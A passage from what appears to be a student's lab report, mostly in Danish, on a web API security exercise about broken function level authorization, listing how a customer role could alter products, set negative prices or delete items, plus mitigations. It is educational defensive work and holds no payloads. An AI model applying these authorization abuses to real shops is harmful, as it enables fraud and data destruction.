            "createdAt": "2026-10-22T21:15:18.458Z",
            "updatedAt": "2026-10-22T23:43:53.308Z",
            "deletedAt": null
        }
    }
    
  3. Hint: Resource locators are often placed in the URL.

    • /{id}

Reflekterende sprøgsmål

  1. Were you able to add or update resources without proper authorization?
    • Ja! Med rolle som "customer"
  2. What input validation does the API enforce, and where does it fail?
    • Der er ikke meget validering. Fx. tillades negative priser. Men den laver sanitization på html input.
  3. How could these issues be exploited by an attacker?
    • En trusselsaktør kunne fx:
      • Sætte negative priser og købe alle varer.
      • Slette alle varer fra butikken.
      • Oprette falske varer som butikken ikke kan levere.
      • Måske indsætte ondsindet kode ind i vare titler og beskrivelser?
  4. What mitigation strategies would prevent BFLA vulnerabilities?
    • Opsætte automatiske tests af koden for at opfylde forretningslogik, som bør håndhæve at kun administratorer kan oprette, redigere og slette produkter.
    • Fjerne muligheden for at se de forskellige metoder som er tilgængelige for et endpoint via "Access-Control-Allow-Methods" header.
    • Tilføje tjek af autorization for alle endpoints (evt. via middelware) og/eller i forretningslogikken (slet ikke tillade at redigere databasen uden admin rolle, heller ikke ved kald af metoden andre steder i koden).
    • Sørg for at fx. JWT tokens valideres (signatur skal passe) så en aktør ikke blot kan ændre sin rolle i token og få adgang.

3. Problemer og løsninger

Jeg oplevede ikke problemer under denne øvelse.


4. Opsummering af erfaringer

Jeg har opnået erfaringer med at udføre NoSQL/SQL injections, Basic Server-Side Request Forgery (SSRF), Mass Assignment, DOM Cross Site Scripting (XSS) og BFLA (Broken Function Level Authorization)